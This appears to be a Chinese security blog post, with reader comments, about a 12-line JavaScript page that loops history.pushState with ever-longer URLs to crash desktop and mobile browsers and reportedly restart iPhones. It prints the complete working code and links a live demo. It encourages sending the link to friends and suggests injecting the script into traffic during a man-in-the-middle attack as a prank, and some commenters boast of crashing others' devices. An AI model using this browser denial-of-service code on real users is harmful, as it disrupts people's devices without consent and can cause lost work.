HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

  • A+
所属分类:代码审计

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启?

HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

起因

今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。
HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

继续在推特上深挖发现IT Security Tweets ™ @F1r3h4nd 于17日发推:

Crash your friend's browser and restart iPhone with a link which has this script: #0day
//把带有下面这个脚本的链接发给你的朋友,能让你朋友的浏览器崩溃,而且让iPhone重启。
HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

完整HTML代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
   total= total+i.toString();
   history.pushState(0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)

www.0xroot.cn/demo.html (点击一下,又不会怀孕!)

接来下会发生什么?

点开以后,我的状态是这样的:

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…

思考

这是Bug还是0day?为什么会有这一现象?如何实现的?

有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的...)

欢迎大家在评论中发表自己的观点 HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

demo页面流量

HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

微博评论/讨论摘取

来自微博用户@十年磨一健的最佳评论:感谢……我的iPhone电源键坏掉了,一直不知道如何关机和重启,这个网址好啊。。。                        
怀孕了...
好有趣...
好可怕...
整蛊不错
我已祸害了好多人(卖萌脸(づ ̄ 3 ̄)づ)
崩溃了
火狐假死10秒后弹窗提示脚本无响应可停止难道是history的栈溢出么?
可以可以,新姿势get√
JS是世界上最好的语言!
hist.pushState是干嘛用的?
电脑正在重启
不能只让我一个人中招
我为什么会手贱?
Chrome隐身模式没有问题啊
老D

发表评论

您必须才能发表评论!

目前评论:26   其中:访客  26   博主  0

    • avatar J 0

      IOS11.2没问题

      • avatar DK 0

        给浏览器加1万条历史记录,特么是不是疯了,

        • avatar asd 2

          记得清理一下历史纪录…

          • avatar 临江鱼 0

            我。。。怀孕了,重启电脑,任务管理器都打不开

            • avatar 残叶 0

              用Edge游览器后一点事也没有,8G内存,瞬间使用率64%,然后地址栏就出现很长一串地址,网页内容也显示出来了——“恭喜你,你已经怀孕了! ”,一点也不卡啊。

              • avatar 233 1

                我一点开啥事也没有,CPU总利用率从1%上升到50%,浏览器正常(电脑不卡顿),但是还是没有问题?(配置:chrome 51.0.2704.106 m,windows 10),

                • avatar 润明 2

                  说不能用你用什么浏览器啊。。。我chrome一开就卡死了

                  • avatar Corps 0

                    不是BUG,是浏览器没做好审查.浏览器用单线程处理页面,但是历史记录存储需要主线程参与.所以导致了主线程死机,继而占满CPU导致电脑死机

                    • avatar youngzy 0

                      看了一下,pushstate方法用来无刷新改变url,这里循环访问100万个404网页(不是死循环,只要等的时间够长会听下来吧)且地址越来越长。

                      • avatar 余笑添 9

                        实际上并不需要这样就能进入死循环。

                        • avatar jgh 0

                          不能用了

                          • avatar xnlutl 9

                            用IE打开没事,用谷歌直接打开,浏览器不动了,任务栏也很卡。幸好强大的WIN7的任务管理器没完全卡死,用他结束谷歌浏览器的进程就好了

                            • avatar GlacJAY 0

                              Firefox Windows 版转了一会儿就弹框提示是否停止执行脚本了,不会死掉。

                              • avatar 盛夏未央 9

                                http://www.0xroot.cn/0123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100edge加载不下去了········

                                • avatar 盛夏未央 9

                                  edge直接告诉我恭喜 你已经怀孕了······

                                  • avatar 炸鱼的鲁迅 2

                                    firefox内存1.8Gb最高然后cpu20%

                                    • avatar CCa 0

                                      Edge 内存3.1/11.8GB

                                      • avatar aiuco 0

                                        卡巴斯基直接阻止了。。。

                                        • avatar 锋锋 2

                                          作死打开后,扔在那里不管跑去洗澡,洗完澡后,才发现电脑直接懵逼了,按主机上的重启键,按了好几下才重启!!!

                                          • avatar laoE 0

                                            U占用率一直在34%左右,内存占用一直在慢慢增加,到6.5G左右chrome自己闪退了

                                            • avatar ss 0

                                              原理是连续跳转至以下地址
                                              XXX/1
                                              XXX/12
                                              XXX/123

                                              XXX/1234567891011121314

                                              直到最后数字到达一百万,导致占用内存急剧飙升。

                                              • avatar Vquire 0

                                                我只能表示win10的edge毫无压力

                                                • avatar 初七 2

                                                  laod你太坏了,4G内存直接就满了,i5-4590直接80%。
                                                  重启IIS才好的

                                                  • avatar xz.wang 0

                                                    年前出的,原版不是这个网页。应该是向浏览器中添加了太多的历史记录

                                                    • avatar 香港独立IP主机 1

                                                      这12行代码感觉好牛逼的样子,可以让你的浏览器崩溃iPhone重启

                                                      • avatar 依云 4

                                                        不嵌入 tweet 也就算了,原推的链接也没给呀?